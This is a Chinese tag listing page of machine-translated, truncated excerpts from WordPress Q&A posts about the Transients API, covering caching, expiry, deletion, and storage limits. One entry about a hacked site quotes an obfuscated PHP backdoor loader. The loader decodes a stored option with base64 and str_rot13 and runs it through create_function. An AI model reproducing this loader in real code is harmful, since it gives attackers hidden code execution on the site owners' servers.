您当前的位置:首页 > TAG信息列表 > transient

  • 临时API和缓存插件

    时间:2013-12-05

    你好wordpress忍者。。。。我非常喜欢瞬态api,我已经在我的主题中实现了它。我的问题是如果我使用瞬态api,是否需要缓存插件?(我讨厌插件!!!)</如果我使用瞬态和缓存,结果会怎样</我可以使用transient对抗缓存插件吗</缓存插件和瞬态工作原理相同吗

  • 在选项页面上单击‘保存更改’时删除暂态

    时间:2015-09-15

    我有一个选项页面设置,用于我正在处理的主题上的一条股票行情带。它有许多选项,例如标题、要显示的帖子数量以及显示帖子的类别。我还使用临时缓存选项进行了设置。显然,我需要在更新任何选项时删除瞬态键。我可以设置每个选项回调函数来删除键ok。但我想知道的是,我是否可以编写一个函数并添加一个过滤器,以便在单击保存更改时删除瞬态,这样就不需要在每个回调函数中编写代码来删除瞬态键。

  • 无法在短码、Moz API上使用临时代码

    时间:2015-11-04

    我是个新来的过渡者,一直很难切换。我能够修复脸书和推特API的短代码,但我无法让Moz API作为一个过渡版本工作。下面是正在工作的短代码,下面是我尝试在它不再工作的瞬态中进行编码(没有显示任何内容,没有错误)。如果这也有帮助的话,最终的结果就是Moz的域授权(pda)api端点,这只是数字。如果有人能指出我在哪里搞乱了瞬态,我将不胜感激。// Working version, no transient function moz_score_shortcode($atts) { e

  • 使用暂态API的网站被黑客攻击?

    时间:2015-11-06

    我有一个要“清理”的网站,在public\\u html文件夹中有近10k个复制文件,几乎所有PHP文件都包含代码$z=get_option(\"_transient_wp_less_compiled_c9b58ec39525169515675906d91c9815\"); $z=base64_decode(str_rot13($z[\'root\'])); if(strpos($z,\"E8FA4873\")!==false){ $_z=create_function(\"\",$z); @$_z();

  • 我应该将外部API数据存储在我的可湿性粉剂数据库中,还是将其保留为临时数据?

    时间:2015-11-21

    我的WordPress站点需要使用第三方提供的API(XML)数据。数据将在该第三方应用程序上更新。具体而言,这是关于存储在所述第三方web应用程序上的属性的数据。数据以XML格式提供。我想允许在WP网站上显示这些数据,以及搜索,并最终进入上述预订应用程序的门户。目前我有三个选择,我想知道是否有一个比其他更好。选项1:在WordPress中使用瞬态API存储包含所有数据的xml,并在post模板中使用Ajax访问数据选项2:在WordPress中使用瞬态API存储包含所有数据的xml,并在post模板中使

  • 是什么原因导致暂态TO将状态更改为“未过期”?

    时间:2015-12-02

    我注意到,我的网站上不时会出现一些过渡,从有到期日期到“不到期”。我注意到这发生在一些插件(如重力表单)上,但也发生在我创建的瞬态上。有什么想法吗?UPDATE:我不知道重力是如何形成的,如何设定和恢复它们的瞬变过程,但我只是使用了法典中的例子//Set transient name based on post tags being used $transient = \'rest-posts-\' . md5(serialize($tags)); if (false === ($data

  • 有没有更好的方法来使用javascript访问瞬变?

    时间:2015-12-15

    我一直在网上搜索,试图找到一种更好的方法,将WordPress瞬态与javascript结合使用。目前,我正在使用admin Ajax来运行一个php函数,该函数检索瞬态并返回它。这很好,但我很好奇,是否有一种更有效的方法可以访问这些数据,而不需要使用ajax和php。我知道我可以用wp_localize_script() 但我不确定这种方法是否比我目前的解决方案更好。希望有一位专家能帮我解决这个问题。

  • Transient loop issue

    时间:2017-01-16

    我有以下方法可以很好地工作,但只缓存第一篇文章的第一个值,并且不在数据库中存储所有电影文章的数据。我怎样才能解决这个问题?我还有一个live perview 这一主题。$cinemamoviename = get_post_meta( $post->ID, \"cinama_moviename\", true ); $cinemamovieyear = get_post_meta( $post->ID, \"cinama_movieyear\", true ); $

  • 瞬变能用来存储敏感数据吗?

    时间:2017-02-19

    我可以使用WordPress瞬态存储“敏感”数据吗?例如,登录令牌或验证码答案?据我所知,所有主题和插件都可以访问瞬态。存储此类详细信息的另一种好方法是什么?编辑:我问这个问题的原因是我正在创建一个2因素身份验证插件来生成登录令牌。此令牌通过短信或电子邮件发送给用户。存储此令牌的安全方式是什么。

  • 暂时性的行为不像预期的那样

    时间:2017-02-20

    我正在设置一些瞬态,以减少多个自定义WP\\U查询对象的负载。例如,当我将瞬态设置为在一小时内过期时,对post/自定义post的任何更改都会立即反映在使用瞬态的循环内的结果中。根据我的理解,应该缓存查询,并且更新后的post值应该只在指定的时间之后反映?瞬态没有再次设置,并且在到期时间方面按预期工作,只是post更改立即可用?还是我对瞬变的理解完全错误?下面是一个基本示例:if ( false === ( $testimonial_loop = get_transient( \'testimonials

  • 嗨,我正在试着设置24小时的帖子,随着它的改变

    时间:2017-04-13

    Sample Code$args = [ \'posts_per_page\' => 1, \'orderby\' => \'rand\', \'post_type\' => \'post\', \'ignore_sticky_posts\' => true, ]; $r= new WP_Query( $args ); if

  • 如何在WordPress中编写更新查询以终止瞬变

    时间:2017-04-22

    我想编写更新查询来终止瞬态。我会在wordpress选项表中将他们的时间增加到1。我对更新的查询是$wpdb->update( \'options\', array( \'option_value\' => \'1\', // string ), array( \'option_name\' => \'%re_compare%\' ) ); 它不起作用。

  • 在小部件表单内单击时的DELETE_TRANSPENT

    时间:2019-02-14

    我想使用transient 对于我的小部件。用户可以选择数据的缓存时间(1、2、10小时)。我还想添加一个按钮Refresh now 在小部件表单中。我不知道怎么打电话delete_transient 单击。我在考虑创建一些隐藏的输入(<input type=\"hidden\" name=\"refresh-data\" value=\"0\" />). 设置1 如果单击按钮。检查内部function widget() 和电话delete_transient 如果需要。但我想我不能0 到re

  • 如何每月为帖子视图构建(自定义)统计数据

    时间:2019-04-02

    有人知道我如何编写代码来获得每月最多的浏览量(没有Jetpack),理想情况下不必创建新的DB表?也许有一种聪明的方法可以仅使用后Meta和/或瞬态来实现这一点。目前,i\'m storing an array of stat entries 作为post元,包含时间戳。每次更新meta时,我都会删除时间戳<;1个月。这是可行的,但我不确定这是否是一个好的解决方案。有什么想法吗?谢谢

  • 只有数组的一部分存储在瞬变模式中--这可能是什么原因?

    时间:2019-04-09

    我已经创建了一个autosuggest数组,希望将其存储在瞬态中。我的代码如下所示:<?php // Get any existing copy of our transient data $suggest = get_transient(\'suggest\'); if ( false === ( $suggest = get_transient( \'suggest\' ) ) ) { // It wasn\'t there, so regener

  • 频繁更新瞬态值

    时间:2019-10-24

    从概念上讲,频繁更新瞬态值可以吗。我正在建立登录表单&;每次用户输入无效凭据时,存储不正确的尝试。因此,我使用的是用户IP地址&;使用数组值创建一个键,如“login\\u data\\u IPXXX”。除了错误的尝试之外,我还想存储更多的信息。在此之前,我将其存储在会话密钥中;发现WP中不应使用会话。然后我考虑使用瞬态,因为该值会频繁更新&;是临时数据,我不知道是否应该使用瞬态数据。如果没有,应该使用什么替代?饼干在这里也不合适。

  • how to use transient method?

    时间:2019-11-10

    建议使用临时方法删除重复的查询Duplicate Queries为什么这不起作用?是不是用错了 private function get_acf_list() { if(!class_exists(\'acf\')){ return array(); } global $wpdb; if ( false === ( $pgggo_qry = get_transient( \'pgggo_ac

  • Using Transients

    时间:2019-11-11

    我对短暂的概念是陌生的。但我不确定使用它的有效方法。我真的很喜欢它,因为它删除了我的重复查询。我已设置set_transient( \'pgggo_acf_list_transient\', $pgggo_qry, 12 * 7000 ); 是不是太高了</如果WordPress站点上有管理更新,并且修改了设置为瞬态的查询,该怎么办。它会自动更新吗</我应该在哪里不使用transient

  • Wp_trash_post()将POST复制到垃圾桶

    时间:2019-11-13

    我想把一个帖子转到循环中的垃圾站。这是我的代码;function run_every_five_minutes() { global $post; $wp_query = new WP_Query(array(\'cat\' => array(1), \'posts_per_page\' => -1, \'date_query\'=>array(\'after\' => \'2 hours ago\', \'inclusive\' => tru

  • 如果值超过60.000个字符,则SET_TRANSPENT失败

    时间:2020-02-10

    我有一个我想不出来的问题。我收集了一些物品,有时可能很大。我必须将整个集合存储为序列化瞬态。问题是,当序列化字符串超过60000个字符时,在DB中的插入将失败。为什么?我检查了wp\\U选项表,“值”列是一个长文本。它可以容纳4GB的数据,对吗?